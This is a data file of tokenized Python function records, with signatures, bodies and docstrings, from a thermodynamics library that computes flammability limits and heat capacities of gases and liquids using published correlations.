{"signature": "def Crowl_Louvar_UFL(atoms):", "body": "nC, nH, nO = <NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0><EOL>if '<STR_LIT:C>' in atoms and atoms['<STR_LIT:C>']:<EOL><INDENT>nC = atoms['<STR_LIT:C>']<EOL><DEDENT>else:<EOL><INDENT>return None<EOL><DEDENT>if '<STR_LIT:H>' in atoms:<EOL><INDENT>nH = atoms['<STR_LIT:H>']<EOL><DEDENT>if '<STR_LIT:O>' in atoms:<EOL><INDENT>nO = atoms['<STR_LIT:O>']<EOL><DEDENT>return <NUM_LIT>/(<NUM_LIT>*nC + <NUM_LIT>*nH - <NUM_LIT>*nO + <NUM_LIT:1.>)<EOL>", "docstring": "r'''Calculates upper flammability limit, using the Crowl-Louvar [1]_\n    correlation. Uses molecular formula only.\n\n    The upper flammability limit of a gas is air is:\n\n    .. math::\n        C_mH_xO_y + zO_2 \\to mCO_2 + \\frac{x}{2}H_2O\n\n        \\text{UFL} = \\frac{3.5}{4.76m + 1.19x - 2.38y + 1}\n\n    Parameters\n    ----------\n    atoms : dict\n        Dictionary of atoms and atom counts\n\n    Returns\n    -------\n    UFL : float\n        Upper flammability limit, mole fraction\n\n    Notes\n    -----\n    Coefficient of 3.5 taken from [2]_\n\n    Examples\n    --------\n    Hexane, example from [1]_, lit. 7.5 %\n\n    >>> Crowl_Louvar_UFL({'H': 14, 'C': 6})\n    0.07572479446127219\n\n    References\n    ----------\n    .. [1] Crowl, Daniel A., and Joseph F. Louvar. Chemical Process Safety:\n       Fundamentals with Applications. 2E. Upper Saddle River, N.J:\n       Prentice Hall, 2001.\n    .. [2] Jones, G. W. \"Inflammation Limits and Their Practical Application\n       in Hazardous Industrial Operations.\" Chemical Reviews 22, no. 1\n       (February 1, 1938): 1-26. doi:10.1021/cr60071a001", "id": "f15791:m18"}
{"signature": "def Lastovka_Shaw(T, similarity_variable, cyclic_aliphatic=False):", "body": "a = similarity_variable<EOL>if cyclic_aliphatic:<EOL><INDENT>A1 = -<NUM_LIT><EOL>A2 = <NUM_LIT><EOL>first = A1 + A2*a<EOL><DEDENT>else:<EOL><INDENT>A1 = <NUM_LIT><EOL>A2 = <NUM_LIT><EOL>A3 = <NUM_LIT> <EOL>A4 = <NUM_LIT><EOL>first = A2 + (A1-A2)/(<NUM_LIT:1.> + exp((a - A3)/A4))<EOL><DEDENT>B11 = <NUM_LIT><EOL>B12 = <NUM_LIT><EOL>C11 = <NUM_LIT><EOL>C12 = <NUM_LIT><EOL>B21 = <NUM_LIT><EOL>B22 = <NUM_LIT><EOL>C21 = <NUM_LIT><EOL>C22 = <NUM_LIT><EOL>Cp = first + (B11 + B12*a)*((C11+C12*a)/T)**<NUM_LIT:2>*exp(-(C11 + C12*a)/T)/(<NUM_LIT:1.>-exp(-(C11+C12*a)/T))**<NUM_LIT:2><EOL>Cp += (B21 + B22*a)*((C21+C22*a)/T)**<NUM_LIT:2>*exp(-(C21 + C22*a)/T)/(<NUM_LIT:1.>-exp(-(C21+C22*a)/T))**<NUM_LIT:2><EOL>return Cp*<NUM_LIT><EOL>", "docstring": "r'''Calculate ideal-gas constant-pressure heat capacitiy with the similarity\n    variable concept and method as shown in [1]_.\n\n    .. math::\n        C_p^0 = \\left(A_2 + \\frac{A_1 - A_2}{1 + \\exp(\\frac{\\alpha-A_3}{A_4})}\\right)\n        + (B_{11} + B_{12}\\alpha)\\left(-\\frac{(C_{11} + C_{12}\\alpha)}{T}\\right)^2\n        \\frac{\\exp(-(C_{11} + C_{12}\\alpha)/T)}{[1-\\exp(-(C_{11}+C_{12}\\alpha)/T)]^2}\\\\\n        + (B_{21} + B_{22}\\alpha)\\left(-\\frac{(C_{21} + C_{22}\\alpha)}{T}\\right)^2\n        \\frac{\\exp(-(C_{21} + C_{22}\\alpha)/T)}{[1-\\exp(-(C_{21}+C_{22}\\alpha)/T)]^2}\n\n    Parameters\n    ----------\n    T : float\n        Temperature of gas [K]\n    similarity_variable : float\n        similarity variable as defined in [1]_, [mol/g]\n\n    Returns\n    -------\n    Cpg : float\n        Gas constant-pressure heat capacitiy, [J/kg/K]\n\n    Notes\n    -----\n    Original model is in terms of J/g/K. Note that the model is for predicting\n    mass heat capacity, not molar heat capacity like most other methods!\n\n    A1 = 0.58, A2 = 1.25, A3 = 0.17338003, A4 = 0.014, B11 = 0.73917383,\n    B12 = 8.88308889, C11 = 1188.28051, C12 = 1813.04613, B21 = 0.0483019,\n    B22 = 4.35656721, C21 = 2897.01927, C22 = 5987.80407.\n\n    Examples\n    --------\n    >>> Lastovka_Shaw(1000.0, 0.1333)\n    2467.113309084757\n\n    References\n    ----------\n    .. [1] Lastovka, Vaclav, and John M. Shaw. \"Predictive Correlations for\n       Ideal Gas Heat Capacities of Pure Hydrocarbons and Petroleum Fractions.\"\n       Fluid Phase Equilibria 356 (October 25, 2013): 338-370.\n       doi:10.1016/j.fluid.2013.07.023.", "id": "f15792:m0"}
{"signature": "def Lastovka_Shaw_integral(T, similarity_variable, cyclic_aliphatic=False):", "body": "a = similarity_variable<EOL>if cyclic_aliphatic:<EOL><INDENT>A1 = -<NUM_LIT><EOL>A2 = <NUM_LIT><EOL>first = A1 + A2*a<EOL><DEDENT>else:<EOL><INDENT>A1 = <NUM_LIT><EOL>A2 = <NUM_LIT><EOL>A3 = <NUM_LIT> <EOL>A4 = <NUM_LIT><EOL>first = A2 + (A1-A2)/(<NUM_LIT:1.>+exp((a-A3)/A4)) <EOL><DEDENT>B11 = <NUM_LIT><EOL>B12 = <NUM_LIT><EOL>C11 = <NUM_LIT><EOL>C12 = <NUM_LIT><EOL>B21 = <NUM_LIT><EOL>B22 = <NUM_LIT><EOL>C21 = <NUM_LIT><EOL>C22 = <NUM_LIT><EOL>return <NUM_LIT>*(T*first - (B11 + B12*a)*(-C11 - C12*a)**<NUM_LIT:2>/(-C11 - C12*a + (C11 <EOL>+ C12*a)*exp((-C11 - C12*a)/T)) - (B21 + B22*a)*(-C21 - C22*a)**<NUM_LIT:2>/(-C21 <EOL>- C22*a + (C21 + C22*a)*exp((-C21 - C22*a)/T)))<EOL>", "docstring": "r'''Calculate the integral of ideal-gas constant-pressure heat capacitiy \n    with the similarity variable concept and method as shown in [1]_.\n\n    Parameters\n    ----------\n    T : float\n        Temperature of gas [K]\n    similarity_variable : float\n        similarity variable as defined in [1]_, [mol/g]\n\n    Returns\n    -------\n    H : float\n        Difference in enthalpy from 0 K, [J/kg]\n\n    Notes\n    -----\n    Original model is in terms of J/g/K. Note that the model is for predicting\n    mass heat capacity, not molar heat capacity like most other methods!\n    Integral was computed with SymPy.\n\n    See Also\n    --------\n    Lastovka_Shaw\n    Lastovka_Shaw_integral_over_T\n\n    Examples\n    --------\n    >>> Lastovka_Shaw_integral(300.0, 0.1333)\n    5283095.816018478\n\n    References\n    ----------\n    .. [1] Lastovka, Vaclav, and John M. Shaw. \"Predictive Correlations for\n       Ideal Gas Heat Capacities of Pure Hydrocarbons and Petroleum Fractions.\"\n       Fluid Phase Equilibria 356 (October 25, 2013): 338-370.\n       doi:10.1016/j.fluid.2013.07.023.", "id": "f15792:m1"}
{"signature": "def Lastovka_Shaw_integral_over_T(T, similarity_variable, cyclic_aliphatic=False):", "body": "from cmath import log, exp<EOL>a = similarity_variable<EOL>if cyclic_aliphatic:<EOL><INDENT>A1 = -<NUM_LIT><EOL>A2 = <NUM_LIT><EOL>first = A1 + A2*a<EOL><DEDENT>else:<EOL><INDENT>A1 = <NUM_LIT><EOL>A2 = <NUM_LIT><EOL>A3 = <NUM_LIT> <EOL>A4 = <NUM_LIT><EOL>first = A2 + (A1-A2)/(<NUM_LIT:1.> + exp((a - A3)/A4))<EOL><DEDENT>a2 = a*a<EOL>B11 = <NUM_LIT><EOL>B12 = <NUM_LIT><EOL>C11 = <NUM_LIT><EOL>C12 = <NUM_LIT><EOL>B21 = <NUM_LIT><EOL>B22 = <NUM_LIT><EOL>C21 = <NUM_LIT><EOL>C22 = <NUM_LIT><EOL>S = (first*log(T) + (-B11 - B12*a)*log(exp((-C11 - C12*a)/T) - <NUM_LIT:1.>) <EOL>+ (-B11*C11 - B11*C12*a - B12*C11*a - B12*C12*a2)/(T*exp((-C11<EOL>- C12*a)/T) - T) - (B11*C11 + B11*C12*a + B12*C11*a + B12*C12*a2)/T)<EOL>S += ((-B21 - B22*a)*log(exp((-C21 - C22*a)/T) - <NUM_LIT:1.>) + (-B21*C21 - B21*C22*a<EOL>- B22*C21*a - B22*C22*a2)/(T*exp((-C21 - C22*a)/T) - T) - (B21*C21<EOL>+ B21*C22*a + B22*C21*a + B22*C22*a**<NUM_LIT:2>)/T)<EOL>return S.real*<NUM_LIT><EOL>", "docstring": "r'''Calculate the integral over temperature of ideal-gas constant-pressure \n    heat capacitiy with the similarity variable concept and method as shown in\n    [1]_.\n\n    Parameters\n    ----------\n    T : float\n        Temperature of gas [K]\n    similarity_variable : float\n        similarity variable as defined in [1]_, [mol/g]\n\n    Returns\n    -------\n    S : float\n        Difference in entropy from 0 K, [J/kg/K]\n\n    Notes\n    -----\n    Original model is in terms of J/g/K. Note that the model is for predicting\n    mass heat capacity, not molar heat capacity like most other methods!\n    Integral was computed with SymPy.\n\n    See Also\n    --------\n    Lastovka_Shaw\n    Lastovka_Shaw_integral\n\n    Examples\n    --------\n    >>> Lastovka_Shaw_integral_over_T(300.0, 0.1333)\n    3609.791928945323\n\n    References\n    ----------\n    .. [1] Lastovka, Vaclav, and John M. Shaw. \"Predictive Correlations for\n       Ideal Gas Heat Capacities of Pure Hydrocarbons and Petroleum Fractions.\"\n       Fluid Phase Equilibria 356 (October 25, 2013): 338-370.\n       doi:10.1016/j.fluid.2013.07.023.", "id": "f15792:m2"}
{"signature": "def TRCCp(T, a0, a1, a2, a3, a4, a5, a6, a7):", "body": "if T <= a7:<EOL><INDENT>y = <NUM_LIT:0.><EOL><DEDENT>else:<EOL><INDENT>y = (T - a7)/(T + a6)<EOL><DEDENT>Cp = R*(a0 + (a1/T**<NUM_LIT:2>)*exp(-a2/T) + a3*y**<NUM_LIT:2> + (a4 - a5/(T-a7)**<NUM_LIT:2> )*y**<NUM_LIT>)<EOL>return Cp<EOL>", "docstring": "r'''Calculates ideal gas heat capacity using the model developed in [1]_.\n\n    The ideal gas heat capacity is given by:\n\n    .. math::\n        C_p = R\\left(a_0 + (a_1/T^2) \\exp(-a_2/T) + a_3 y^2\n        + (a_4 - a_5/(T-a_7)^2 )y^j \\right)\n\n        y = \\frac{T-a_7}{T+a_6} \\text{ for } T > a_7 \\text{ otherwise } 0\n\n    Parameters\n    ----------\n    T : float\n        Temperature [K]\n    a1-a7 : float\n        Coefficients\n\n    Returns\n    -------\n    Cp : float\n        Ideal gas heat capacity , [J/mol/K]\n\n    Notes\n    -----\n    j is set to 8. Analytical integrals are available for this expression.\n\n    Examples\n    --------\n    >>> TRCCp(300, 4.0, 7.65E5, 720., 3.565, -0.052, -1.55E6, 52., 201.)\n    42.06525682312236\n\n    References\n    ----------\n    .. [1] Kabo, G. J., and G. N. Roganov. Thermodynamics of Organic Compounds\n       in the Gas State, Volume II: V. 2. College Station, Tex: CRC Press, 1994.", "id": "f15792:m3"}
{"signature": "def TRCCp_integral(T, a0, a1, a2, a3, a4, a5, a6, a7, I=<NUM_LIT:0>):", "body": "if T <= a7:<EOL><INDENT>y = <NUM_LIT:0.><EOL><DEDENT>else:<EOL><INDENT>y = (T - a7)/(T + a6)<EOL><DEDENT>y2 = y*y<EOL>y4 = y2*y2<EOL>if T <= a7:<EOL><INDENT>h = <NUM_LIT:0.0><EOL><DEDENT>else:<EOL><INDENT>first = a6 + a7<EOL>second = (<NUM_LIT>*a3 + <NUM_LIT>*a4)*log(<NUM_LIT:1.> - y)<EOL>third = (a3*(<NUM_LIT:1.> + <NUM_LIT:1.>/(<NUM_LIT:1.> - y)) + a4*(<NUM_LIT> + <NUM_LIT:1.>/(<NUM_LIT:1.> - y)))*y<EOL>fourth = a4*(<NUM_LIT>*y2 + <NUM_LIT>/<NUM_LIT>*y*y2 + y4 + <NUM_LIT>*y4*y + <NUM_LIT:1>/<NUM_LIT>*y4*y2)<EOL>fifth = <NUM_LIT:1>/<NUM_LIT>*(a4 - a5/((a6 + a7)**<NUM_LIT:2>))*y4*y2*y<EOL>h = first*(second + third + fourth + fifth)<EOL><DEDENT>return (a0 + a1*exp(-a2/T)/(a2*T) + I/T + h/T)*R*T<EOL>", "docstring": "r'''Integrates ideal gas heat capacity using the model developed in [1]_.\n    Best used as a delta only.\n\n    The difference in enthalpy with respect to 0 K is given by:\n\n    .. math::\n        \\frac{H(T) - H^{ref}}{RT} = a_0 + a_1x(a_2)/(a_2T) + I/T + h(T)/T\n\n        h(T) = (a_5 + a_7)\\left[(2a_3 + 8a_4)\\ln(1-y)+ \\left\\{a_3\\left(1 + \n        \\frac{1}{1-y}\\right) + a_4\\left(7 + \\frac{1}{1-y}\\right)\\right\\}y\n        + a_4\\left\\{3y^2 + (5/3)y^3 + y^4 + (3/5)y^5 + (1/3)y^6\\right\\} \n        + (1/7)\\left\\{a_4 - \\frac{a_5}{(a_6+a_7)^2}\\right\\}y^7\\right]\n\n        h(T) = 0 \\text{ for } T \\le a_7\n\n        y = \\frac{T-a_7}{T+a_6} \\text{ for } T > a_7 \\text{ otherwise } 0\n\n    Parameters\n    ----------\n    T : float\n        Temperature [K]\n    a1-a7 : float\n        Coefficients\n    I : float, optional\n        Integral offset\n\n    Returns\n    -------\n    H-H(0) : float\n        Difference in enthalpy from 0 K , [J/mol]\n\n    Notes\n    -----\n    Analytical integral as provided in [1]_ and verified with numerical\n    integration. \n\n    Examples\n    --------\n    >>> TRCCp_integral(298.15, 4.0, 7.65E5, 720., 3.565, -0.052, -1.55E6, 52., \n    ... 201., 1.2)\n    10802.532600592816\n\n    References\n    ----------\n    .. [1] Kabo, G. J., and G. N. Roganov. Thermodynamics of Organic Compounds\n       in the Gas State, Volume II: V. 2. College Station, Tex: CRC Press, 1994.", "id": "f15792:m4"}
{"signature": "def TRCCp_integral_over_T(T, a0, a1, a2, a3, a4, a5, a6, a7, J=<NUM_LIT:0>):", "body": "<EOL>if T <= a7:<EOL><INDENT>y = <NUM_LIT:0.><EOL><DEDENT>else:<EOL><INDENT>y = (T - a7)/(T + a6)<EOL><DEDENT>z = T/(T + a6)*(a7 + a6)/a7<EOL>if T <= a7:<EOL><INDENT>s = <NUM_LIT:0.><EOL><DEDENT>else:<EOL><INDENT>a72 = a7*a7<EOL>a62 = a6*a6<EOL>a7_a6 = a7/a6 <EOL>a7_a6_2 = a7_a6*a7_a6<EOL>a7_a6_4 = a7_a6_2*a7_a6_2<EOL>x1 = (a4*a72 - a5)/a62 <EOL>first = (a3 + ((a4*a72 - a5)/a62)*a7_a6_4)*a7_a6_2*log(z)<EOL>second = (a3 + a4)*log((T + a6)/(a6 + a7))<EOL>fourth = -(a3/a6*(a6 + a7) + a5*y**<NUM_LIT:6>/(<NUM_LIT>*a7*(a6 + a7)))*y<EOL>third = sum([(x1*(-a7_a6)**(<NUM_LIT:6>-i) - a4)*y**i/i for i in range(<NUM_LIT:1>, <NUM_LIT:8>)])<EOL>s = first + second + third + fourth<EOL><DEDENT>return R*(J + a0*log(T) + a1/(a2*a2)*(<NUM_LIT:1.> + a2/T)*exp(-a2/T) + s)<EOL>", "docstring": "r'''Integrates ideal gas heat capacity over T using the model developed in \n    [1]_. Best used as a delta only.\n\n    The difference in ideal-gas entropy with respect to 0 K is given by:\n\n    .. math::\n        \\frac{S^\\circ}{R} = J + a_0\\ln T + \\frac{a_1}{a_2^2}\\left(1\n        + \\frac{a_2}{T}\\right)x(a_2) + s(T)\n\n        s(T) = \\left[\\left\\{a_3 + \\left(\\frac{a_4 a_7^2 - a_5}{a_6^2}\\right)\n        \\left(\\frac{a_7}{a_6}\\right)^4\\right\\}\\left(\\frac{a_7}{a_6}\\right)^2\n        \\ln z + (a_3 + a_4)\\ln\\left(\\frac{T+a_6}{a_6+a_7}\\right)\n        +\\sum_{i=1}^7 \\left\\{\\left(\\frac{a_4 a_7^2 - a_5}{a_6^2}\\right)\\left(\n        \\frac{-a_7}{a_6}\\right)^{6-i} - a_4\\right\\}\\frac{y^i}{i}\n        - \\left\\{\\frac{a_3}{a_6}(a_6 + a_7) + \\frac{a_5 y^6}{7a_7(a_6+a_7)}\n        \\right\\}y\\right]\n\n        s(T) = 0 \\text{ for } T \\le a_7\n\n        z = \\frac{T}{T+a_6} \\cdot \\frac{a_7 + a_6}{a_7}\n\n        y = \\frac{T-a_7}{T+a_6} \\text{ for } T > a_7 \\text{ otherwise } 0\n\n    Parameters\n    ----------\n    T : float\n        Temperature [K]\n    a1-a7 : float\n        Coefficients\n    J : float, optional\n        Integral offset\n\n    Returns\n    -------\n    S-S(0) : float\n        Difference in entropy from 0 K , [J/mol/K]\n\n    Notes\n    -----\n    Analytical integral as provided in [1]_ and verified with numerical\n    integration. \n\n    Examples\n    --------\n    >>> TRCCp_integral_over_T(300, 4.0, 124000, 245, 50.539, -49.469, \n    ... 220440000, 560, 78)\n    213.80148972435018\n\n    References\n    ----------\n    .. [1] Kabo, G. J., and G. N. Roganov. Thermodynamics of Organic Compounds\n       in the Gas State, Volume II: V. 2. College Station, Tex: CRC Press, 1994.", "id": "f15792:m5"}
{"signature": "def Rowlinson_Poling(T, Tc, omega, Cpgm):", "body": "Tr = T/Tc<EOL>Cplm = Cpgm+ R*(<NUM_LIT> + <NUM_LIT>/(<NUM_LIT:1.>-Tr) + omega*(<NUM_LIT><EOL>+ <NUM_LIT>*(<NUM_LIT:1>-Tr)**(<NUM_LIT:1>/<NUM_LIT>)/Tr + <NUM_LIT>/(<NUM_LIT:1.>-Tr)))<EOL>return Cplm<EOL>", "docstring": "r'''Calculate liquid constant-pressure heat capacitiy with the [1]_ CSP method.\n\n    This equation is not terrible accurate.\n\n    The heat capacity of a liquid is given by:\n\n    .. math::\n        \\frac{Cp^{L} - Cp^{g}}{R} = 1.586 + \\frac{0.49}{1-T_r} +\n        \\omega\\left[ 4.2775 + \\frac{6.3(1-T_r)^{1/3}}{T_r} + \\frac{0.4355}{1-T_r}\\right]\n\n    Parameters\n    ----------\n    T : float\n        Temperature of fluid [K]\n    Tc : float\n        Critical temperature of fluid [K]\n    omega : float\n        Acentric factor for fluid, [-]\n    Cpgm : float\n        Constant-pressure gas heat capacity, [J/mol/K]\n\n    Returns\n    -------\n    Cplm : float\n        Liquid constant-pressure heat capacitiy, [J/mol/K]\n\n    Notes\n    -----\n    Poling compared 212 substances, and found error at 298K larger than 10%\n    for 18 of them, mostly associating. Of the other 194 compounds, AARD is 2.5%.\n\n    Examples\n    --------\n    >>> Rowlinson_Poling(350.0, 435.5, 0.203, 91.21)\n    143.80194441498296\n\n    References\n    ----------\n    .. [1] Poling, Bruce E. The Properties of Gases and Liquids. 5th edition.\n       New York: McGraw-Hill Professional, 2000.", "id": "f15792:m6"}
{"signature": "def Rowlinson_Bondi(T, Tc, omega, Cpgm):", "body": "Tr = T/Tc<EOL>Cplm = Cpgm + R*(<NUM_LIT> + <NUM_LIT>/(<NUM_LIT:1.>-Tr) + <NUM_LIT>*omega*(<NUM_LIT><EOL>+ <NUM_LIT>*(<NUM_LIT:1>-Tr)**(<NUM_LIT:1>/<NUM_LIT>)/Tr + <NUM_LIT>/(<NUM_LIT:1.>-Tr)))<EOL>return Cplm<EOL>", "docstring": "r'''Calculate liquid constant-pressure heat capacitiy with the CSP method\n    shown in [1]_.\n\n    The heat capacity of a liquid is given by:\n\n    .. math::\n        \\frac{Cp^L - Cp^{ig}}{R} = 1.45 + 0.45(1-T_r)^{-1} + 0.25\\omega\n        [17.11 + 25.2(1-T_r)^{1/3}T_r^{-1} + 1.742(1-T_r)^{-1}]\n\n    Parameters\n    ----------\n    T : float\n        Temperature of fluid [K]\n    Tc : float\n        Critical temperature of fluid [K]\n    omega : float\n        Acentric factor for fluid, [-]\n    Cpgm : float\n        Constant-pressure gas heat capacity, [J/mol/K]\n\n    Returns\n    -------\n    Cplm : float\n        Liquid constant-pressure heat capacitiy, [J/mol/K]\n\n    Notes\n    -----\n    Less accurate than `Rowlinson_Poling`.\n\n    Examples\n    --------\n    >>> Rowlinson_Bondi(T=373.28, Tc=535.55, omega=0.323, Cpgm=119.342)\n    175.39760730048116\n\n    References\n    ----------\n    .. [1] Poling, Bruce E. The Properties of Gases and Liquids. 5th edition.\n       New York: McGraw-Hill Professional, 2000.\n    .. [2] Gesellschaft, V. D. I., ed. VDI Heat Atlas. 2nd edition.\n       Berlin; New York:: Springer, 2010.\n    .. [3] J.S. Rowlinson, Liquids and Liquid Mixtures, 2nd Ed.,\n       Butterworth, London (1969).", "id": "f15792:m7"}
{"signature": "def Dadgostar_Shaw(T, similarity_variable):", "body": "a = similarity_variable<EOL>a11 = -<NUM_LIT><EOL>a12 = <NUM_LIT><EOL>a21 = <NUM_LIT><EOL>a22 = -<NUM_LIT><EOL>a31 = -<NUM_LIT><EOL>a32 = <NUM_LIT><EOL><INDENT>theta = <NUM_LIT><EOL>constant = <NUM_LIT:3>*R*(theta/T)**<NUM_LIT:2>*exp(theta/T)/(exp(theta/T)-<NUM_LIT:1>)**<NUM_LIT:2><EOL><DEDENT>constant = <NUM_LIT><EOL>Cp = (constant*(a11*a + a12*a**<NUM_LIT:2>) + (a21*a + a22*a**<NUM_LIT:2>)*T<EOL>+ (a31*a + a32*a**<NUM_LIT:2>)*T**<NUM_LIT:2>)<EOL>Cp = Cp*<NUM_LIT:1000> <EOL>return Cp<EOL>", "docstring": "r'''Calculate liquid constant-pressure heat capacitiy with the similarity\n    variable concept and method as shown in [1]_.\n\n    .. math::\n        C_{p} = 24.5(a_{11}\\alpha + a_{12}\\alpha^2)+ (a_{21}\\alpha\n        + a_{22}\\alpha^2)T +(a_{31}\\alpha + a_{32}\\alpha^2)T^2\n\n    Parameters\n    ----------\n    T : float\n        Temperature of liquid [K]\n    similarity_variable : float\n        similarity variable as defined in [1]_, [mol/g]\n\n    Returns\n    -------\n    Cpl : float\n        Liquid constant-pressure heat capacitiy, [J/kg/K]\n\n    Notes\n    -----\n    Many restrictions on its use.\n\n    Original model is in terms of J/g/K. Note that the model is for predicting\n    mass heat capacity, not molar heat capacity like most other methods!\n\n    a11 = -0.3416; a12 = 2.2671; a21 = 0.1064; a22 = -0.3874l;\n    a31 = -9.8231E-05; a32 = 4.182E-04\n\n    Examples\n    --------\n    >>> Dadgostar_Shaw(355.6, 0.139)\n    1802.5291501191516\n\n    References\n    ----------\n    .. [1] Dadgostar, Nafiseh, and John M. Shaw. \"A Predictive Correlation for\n       the Constant-Pressure Specific Heat Capacity of Pure and Ill-Defined\n       Liquid Hydrocarbons.\" Fluid Phase Equilibria 313 (January 15, 2012):\n       211-226. doi:10.1016/j.fluid.2011.09.015.", "id": "f15792:m8"}
{"signature": "def Dadgostar_Shaw_integral(T, similarity_variable):", "body": "a = similarity_variable<EOL>a2 = a*a<EOL>T2 = T*T<EOL>a11 = -<NUM_LIT><EOL>a12 = <NUM_LIT><EOL>a21 = <NUM_LIT><EOL>a22 = -<NUM_LIT><EOL>a31 = -<NUM_LIT><EOL>a32 = <NUM_LIT><EOL>constant = <NUM_LIT><EOL>H = T2*T/<NUM_LIT>*(a2*a32 + a*a31) + T2*<NUM_LIT:0.5>*(a2*a22 + a*a21) + T*constant*(a2*a12 + a*a11)<EOL>return H*<NUM_LIT><EOL>", "docstring": "r'''Calculate the integral of liquid constant-pressure heat capacitiy \n    with the similarity variable concept and method as shown in [1]_.\n\n    Parameters\n    ----------\n    T : float\n        Temperature of gas [K]\n    similarity_variable : float\n        similarity variable as defined in [1]_, [mol/g]\n\n    Returns\n    -------\n    H : float\n        Difference in enthalpy from 0 K, [J/kg]\n\n    Notes\n    -----\n    Original model is in terms of J/g/K. Note that the model is for predicting\n    mass heat capacity, not molar heat capacity like most other methods!\n    Integral was computed with SymPy.\n\n    See Also\n    --------\n    Dadgostar_Shaw\n    Dadgostar_Shaw_integral_over_T\n\n    Examples\n    --------\n    >>> Dadgostar_Shaw_integral(300.0, 0.1333)\n    238908.15142664989\n\n    References\n    ----------\n    .. [1] Dadgostar, Nafiseh, and John M. Shaw. \"A Predictive Correlation for\n       the Constant-Pressure Specific Heat Capacity of Pure and Ill-Defined\n       Liquid Hydrocarbons.\" Fluid Phase Equilibria 313 (January 15, 2012):\n       211-226. doi:10.1016/j.fluid.2011.09.015.", "id": "f15792:m9"}
{"signature": "def Dadgostar_Shaw_integral_over_T(T, similarity_variable):", "body": "a = similarity_variable<EOL>a2 = a*a<EOL>a11 = -<NUM_LIT><EOL>a12 = <NUM_LIT><EOL>a21 = <NUM_LIT><EOL>a22 = -<NUM_LIT><EOL>a31 = -<NUM_LIT><EOL>a32 = <NUM_LIT><EOL>constant = <NUM_LIT><EOL>S = T*T*<NUM_LIT:0.5>*(a2*a32 + a*a31) + T*(a2*a22 + a*a21) + a*constant*(a*a12 + a11)*log(T)<EOL>return S*<NUM_LIT><EOL>", "docstring": "r'''Calculate the integral of liquid constant-pressure heat capacitiy \n    with the similarity variable concept and method as shown in [1]_.\n\n    Parameters\n    ----------\n    T : float\n        Temperature of gas [K]\n    similarity_variable : float\n        similarity variable as defined in [1]_, [mol/g]\n\n    Returns\n    -------\n    S : float\n        Difference in entropy from 0 K, [J/kg/K]\n\n    Notes\n    -----\n    Original model is in terms of J/g/K. Note that the model is for predicting\n    mass heat capacity, not molar heat capacity like most other methods!\n    Integral was computed with SymPy.\n\n    See Also\n    --------\n    Dadgostar_Shaw\n    Dadgostar_Shaw_integral\n\n    Examples\n    --------\n    >>> Dadgostar_Shaw_integral_over_T(300.0, 0.1333)\n    1201.1409113147927\n\n    References\n    ----------\n    .. [1] Dadgostar, Nafiseh, and John M. Shaw. \"A Predictive Correlation for\n       the Constant-Pressure Specific Heat Capacity of Pure and Ill-Defined\n       Liquid Hydrocarbons.\" Fluid Phase Equilibria 313 (January 15, 2012):\n       211-226. doi:10.1016/j.fluid.2011.09.015.", "id": "f15792:m10"}
{"signature": "def Zabransky_quasi_polynomial(T, Tc, a1, a2, a3, a4, a5, a6):", "body": "Tr = T/Tc<EOL>return R*(a1*log(<NUM_LIT:1>-Tr) + a2/(<NUM_LIT:1>-Tr) + a3 + a4*Tr + a5*Tr**<NUM_LIT:2> + a6*Tr**<NUM_LIT:3>)<EOL>", "docstring": "r'''Calculates liquid heat capacity using the model developed in [1]_.\n\n    .. math::\n        \\frac{C}{R}=A_1\\ln(1-T_r) + \\frac{A_2}{1-T_r}\n        + \\sum_{j=0}^m A_{j+3} T_r^j\n\n    Parameters\n    ----------\n    T : float\n        Temperature [K]\n    Tc : float\n        Critical temperature of fluid, [K]\n    a1-a6 : float\n        Coefficients\n\n    Returns\n    -------\n    Cp : float\n        Liquid heat capacity, [J/mol/K]\n\n    Notes\n    -----\n    Used only for isobaric heat capacities, not saturation heat capacities.\n    Designed for reasonable extrapolation behavior caused by using the reduced\n    critical temperature. Used by the authors of [1]_ when critical temperature\n    was available for the fluid.\n    Analytical integrals are available for this expression.\n\n    Examples\n    --------\n    >>> Zabransky_quasi_polynomial(330, 591.79, -3.12743, 0.0857315, 13.7282, 1.28971, 6.42297, 4.10989)\n    165.4728226923247\n\n    References\n    ----------\n    .. [1] Zabransky, M., V. Ruzicka Jr, V. Majer, and Eugene S. Domalski.\n       Heat Capacity of Liquids: Critical Review and Recommended Values.\n       2 Volume Set. Washington, D.C.: Amer Inst of Physics, 1996.", "id": "f15792:m11"}
{"signature": "def Zabransky_quasi_polynomial_integral(T, Tc, a1, a2, a3, a4, a5, a6):", "body": "Tc2 = Tc*Tc<EOL>Tc3 = Tc2*Tc<EOL>term = T - Tc<EOL>return R*(T*(T*(T*(T*a6/(<NUM_LIT>*Tc3) + a5/(<NUM_LIT>*Tc2)) + a4/(<NUM_LIT>*Tc)) - a1 + a3) <EOL>+ T*a1*log(<NUM_LIT:1.> - T/Tc) - <NUM_LIT:0.5>*Tc*(a1 + a2)*log(term*term))<EOL>", "docstring": "r'''Calculates the integral of liquid heat capacity using the  \n    quasi-polynomial model developed in [1]_.\n\n    Parameters\n    ----------\n    T : float\n        Temperature [K]\n    a1-a6 : float\n        Coefficients\n\n    Returns\n    -------\n    H : float\n        Difference in enthalpy from 0 K, [J/mol]\n\n    Notes\n    -----\n    The analytical integral was derived with SymPy; it is a simple polynomial\n    plus some logarithms.\n\n    Examples\n    --------\n    >>> H2 = Zabransky_quasi_polynomial_integral(300, 591.79, -3.12743, \n    ... 0.0857315, 13.7282, 1.28971, 6.42297, 4.10989)\n    >>> H1 = Zabransky_quasi_polynomial_integral(200, 591.79, -3.12743, \n    ... 0.0857315, 13.7282, 1.28971, 6.42297, 4.10989)\n    >>> H2 - H1\n    14662.026406892925\n\n    References\n    ----------\n    .. [1] Zabransky, M., V. Ruzicka Jr, V. Majer, and Eugene S. Domalski.\n       Heat Capacity of Liquids: Critical Review and Recommended Values.\n       2 Volume Set. Washington, D.C.: Amer Inst of Physics, 1996.", "id": "f15792:m12"}
